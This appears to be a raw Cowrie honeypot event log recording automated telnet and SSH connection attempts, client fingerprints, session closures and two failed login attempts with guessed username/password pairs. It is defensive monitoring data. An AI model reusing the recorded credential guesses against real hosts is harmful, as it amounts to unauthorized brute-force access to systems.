{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":49938,"dst_ip":"159.203.135.109","dst_port":23,"session":"40cfb82294ed","protocol":"telnet","message":"New connection: 64.227.9.242:49938 (159.203.135.109:23) [session: 40cfb82294ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:58.535778Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45880,"dst_ip":"10.17.0.5","dst_port":23,"session":"31f797eb872e","protocol":"telnet","message":"New connection: 188.208.141.113:45880 (10.17.0.5:23) [session: 31f797eb872e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:58.702378Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":50248,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4a1da6c8ee4","protocol":"telnet","message":"New connection: 64.227.9.242:50248 (159.203.135.109:23) [session: a4a1da6c8ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:22:58.797791Z"}
{"eventid":"cowrie.session.closed","duration":33.76875352859497,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:00.840087Z","src_ip":"64.227.9.242","session":"ea41e3a743bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.80646324157715,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:01.614052Z","src_ip":"64.227.9.242","session":"fb01b4d760b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.4595685005188,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:03.043653Z","src_ip":"64.227.9.242","session":"5061658e9836","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":55272,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d128f76bbe4","protocol":"telnet","message":"New connection: 64.227.9.242:55272 (159.203.135.109:23) [session: 2d128f76bbe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:03.384051Z"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":42584,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d2e787f018d","protocol":"ssh","message":"New connection: 1.235.192.214:42584 (10.17.0.5:22) [session: 3d2e787f018d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:05.605834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:05.610554Z","src_ip":"1.235.192.214","session":"3d2e787f018d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:05.805504Z","src_ip":"1.235.192.214","session":"3d2e787f018d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":41808,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a03dc73f553","protocol":"ssh","message":"New connection: 112.217.199.222:41808 (10.17.0.5:22) [session: 5a03dc73f553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:05.873893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:05.878785Z","src_ip":"112.217.199.222","session":"5a03dc73f553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60438,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebfada0d324b","protocol":"telnet","message":"New connection: 188.208.141.113:60438 (10.17.0.5:23) [session: ebfada0d324b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:06.054248Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:06.089177Z","src_ip":"112.217.199.222","session":"5a03dc73f553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.81266188621521,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:06.210246Z","src_ip":"188.208.141.113","session":"203f338e2ac2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test2","password":"asd123","message":"login attempt [test2/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:06.583983Z","src_ip":"1.235.192.214","session":"3d2e787f018d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"Admin@123","message":"login attempt [frappe/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:06.964136Z","src_ip":"112.217.199.222","session":"5a03dc73f553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60440,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9d4958952f2","protocol":"telnet","message":"New connection: 188.208.141.113:60440 (10.17.0.5:23) [session: b9d4958952f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:07.158394Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:07.772978Z","src_ip":"1.235.192.214","session":"3d2e787f018d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:08.179174Z","src_ip":"112.217.199.222","session":"5a03dc73f553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":60562,"dst_ip":"159.203.135.109","dst_port":23,"session":"87510409c5e6","protocol":"telnet","message":"New connection: 64.227.9.242:60562 (159.203.135.109:23) [session: 87510409c5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:08.373589Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58726,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2a651d5a232","protocol":"telnet","message":"New connection: 188.208.141.113:58726 (10.17.0.5:23) [session: b2a651d5a232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:10.657757Z"}
{"eventid":"cowrie.session.closed","duration":5.131337404251099,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:11.185490Z","src_ip":"188.208.141.113","session":"ebfada0d324b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.772974252700806,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:11.924851Z","src_ip":"188.208.141.113","session":"3591997aefff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.66829180717468,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:12.055090Z","src_ip":"188.208.141.113","session":"2fd6c26883b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.419065713882446,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:13.115935Z","src_ip":"188.208.141.113","session":"96db78217901","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.29625201225281,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:13.352697Z","src_ip":"188.208.141.113","session":"238c144e0142","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":39134,"dst_ip":"159.203.135.109","dst_port":23,"session":"407a2fc09da0","protocol":"telnet","message":"New connection: 64.227.9.242:39134 (159.203.135.109:23) [session: 407a2fc09da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:15.660387Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58730,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9bf55054628","protocol":"telnet","message":"New connection: 188.208.141.113:58730 (10.17.0.5:23) [session: b9bf55054628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:15.780908Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58734,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b1d14e12075","protocol":"telnet","message":"New connection: 188.208.141.113:58734 (10.17.0.5:23) [session: 0b1d14e12075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:16.588641Z"}
{"eventid":"cowrie.session.closed","duration":3.3988451957702637,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:19.987353Z","src_ip":"188.208.141.113","session":"0b1d14e12075","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.9565041065216064,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:20.737316Z","src_ip":"188.208.141.113","session":"b9bf55054628","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.63444375991821,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:23.908889Z","src_ip":"188.208.141.113","session":"5f842b82ac56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":47166,"dst_ip":"159.203.135.109","dst_port":23,"session":"02794ec87a69","protocol":"telnet","message":"New connection: 64.227.9.242:47166 (159.203.135.109:23) [session: 02794ec87a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:24.565954Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":47902,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb5fe1d5de86","protocol":"telnet","message":"New connection: 64.227.9.242:47902 (159.203.135.109:23) [session: cb5fe1d5de86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:25.363598Z"}
{"eventid":"cowrie.session.closed","duration":35.216357946395874,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:25.989002Z","src_ip":"64.227.9.242","session":"1e2ad128da73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.285046100616455,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:26.184420Z","src_ip":"188.208.141.113","session":"9acd8397d1a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":49228,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba221d434c71","protocol":"telnet","message":"New connection: 64.227.9.242:49228 (159.203.135.109:23) [session: ba221d434c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:26.802643Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":49264,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e031141fa57","protocol":"telnet","message":"New connection: 64.227.9.242:49264 (159.203.135.109:23) [session: 1e031141fa57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:26.860332Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":52754,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d22e56bc5f9","protocol":"telnet","message":"New connection: 64.227.9.242:52754 (159.203.135.109:23) [session: 2d22e56bc5f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:30.455303Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44292,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f026ff632df","protocol":"telnet","message":"New connection: 188.208.141.113:44292 (10.17.0.5:23) [session: 0f026ff632df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:31.154572Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44296,"dst_ip":"10.17.0.5","dst_port":23,"session":"64d65866ce19","protocol":"telnet","message":"New connection: 188.208.141.113:44296 (10.17.0.5:23) [session: 64d65866ce19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:31.478173Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44312,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b018d74f381","protocol":"telnet","message":"New connection: 188.208.141.113:44312 (10.17.0.5:23) [session: 8b018d74f381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:31.595073Z"}
{"eventid":"cowrie.session.closed","duration":34.84762120246887,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:33.645298Z","src_ip":"64.227.9.242","session":"a4a1da6c8ee4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.0028612613678,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:33.759115Z","src_ip":"188.208.141.113","session":"9111aee6bfe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.91051459312439,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:35.446167Z","src_ip":"64.227.9.242","session":"40cfb82294ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44326,"dst_ip":"10.17.0.5","dst_port":23,"session":"1af492197dd3","protocol":"telnet","message":"New connection: 188.208.141.113:44326 (10.17.0.5:23) [session: 1af492197dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:36.818821Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44328,"dst_ip":"10.17.0.5","dst_port":23,"session":"828501672ad8","protocol":"telnet","message":"New connection: 188.208.141.113:44328 (10.17.0.5:23) [session: 828501672ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:37.446442Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44342,"dst_ip":"10.17.0.5","dst_port":23,"session":"afaf8d8a6cb3","protocol":"telnet","message":"New connection: 188.208.141.113:44342 (10.17.0.5:23) [session: afaf8d8a6cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:37.842901Z"}
{"eventid":"cowrie.session.closed","duration":40.89628314971924,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:37.897665Z","src_ip":"188.208.141.113","session":"ec129aca56f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.162672996520996,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:38.757627Z","src_ip":"188.208.141.113","session":"8b018d74f381","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.57161283493042,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:38.955540Z","src_ip":"64.227.9.242","session":"2d128f76bbe4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":34312,"dst_ip":"159.203.135.109","dst_port":23,"session":"769369796617","protocol":"telnet","message":"New connection: 64.227.9.242:34312 (159.203.135.109:23) [session: 769369796617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:41.770413Z"}
{"eventid":"cowrie.session.closed","duration":4.427966594696045,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:42.270627Z","src_ip":"188.208.141.113","session":"afaf8d8a6cb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.852870225906372,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:42.671360Z","src_ip":"188.208.141.113","session":"1af492197dd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.05938005447388,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:43.432844Z","src_ip":"64.227.9.242","session":"87510409c5e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51130,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5c0423ebb78","protocol":"telnet","message":"New connection: 188.208.141.113:51130 (10.17.0.5:23) [session: a5c0423ebb78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:43.638548Z"}
{"eventid":"cowrie.session.closed","duration":47.389758825302124,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:46.091999Z","src_ip":"188.208.141.113","session":"31f797eb872e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.96267580986023,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:47.120977Z","src_ip":"188.208.141.113","session":"b9d4958952f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":41786,"dst_ip":"159.203.135.109","dst_port":23,"session":"916fead22551","protocol":"telnet","message":"New connection: 64.227.9.242:41786 (159.203.135.109:23) [session: 916fead22551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:48.727550Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":42810,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a78424e89c3","protocol":"telnet","message":"New connection: 64.227.9.242:42810 (159.203.135.109:23) [session: 0a78424e89c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:49.741259Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33928,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccc8d4e249f9","protocol":"telnet","message":"New connection: 188.208.141.113:33928 (10.17.0.5:23) [session: ccc8d4e249f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:50.720454Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":44788,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbed5c79870e","protocol":"telnet","message":"New connection: 64.227.9.242:44788 (159.203.135.109:23) [session: bbed5c79870e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:51.666950Z"}
{"eventid":"cowrie.session.closed","duration":41.30293846130371,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:51.960553Z","src_ip":"188.208.141.113","session":"b2a651d5a232","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33930,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8586966e737","protocol":"telnet","message":"New connection: 188.208.141.113:33930 (10.17.0.5:23) [session: f8586966e737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:53.058000Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33944,"dst_ip":"10.17.0.5","dst_port":23,"session":"b77843358747","protocol":"telnet","message":"New connection: 188.208.141.113:33944 (10.17.0.5:23) [session: b77843358747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:53.736517Z"}
{"eventid":"cowrie.session.closed","duration":38.2231822013855,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:53.883427Z","src_ip":"64.227.9.242","session":"407a2fc09da0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33952,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8bc0f348f29","protocol":"telnet","message":"New connection: 188.208.141.113:33952 (10.17.0.5:23) [session: a8bc0f348f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:54.823399Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":51644,"dst_ip":"159.203.135.109","dst_port":23,"session":"10ccdff1efda","protocol":"telnet","message":"New connection: 64.227.9.242:51644 (159.203.135.109:23) [session: 10ccdff1efda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:58.606715Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33966,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffb20cf29325","protocol":"telnet","message":"New connection: 188.208.141.113:33966 (10.17.0.5:23) [session: ffb20cf29325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:58.838034Z"}
{"eventid":"cowrie.session.closed","duration":34.56451630592346,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:59.130327Z","src_ip":"64.227.9.242","session":"02794ec87a69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33972,"dst_ip":"10.17.0.5","dst_port":23,"session":"36deb5eba95a","protocol":"telnet","message":"New connection: 188.208.141.113:33972 (10.17.0.5:23) [session: 36deb5eba95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:23:59.774267Z"}
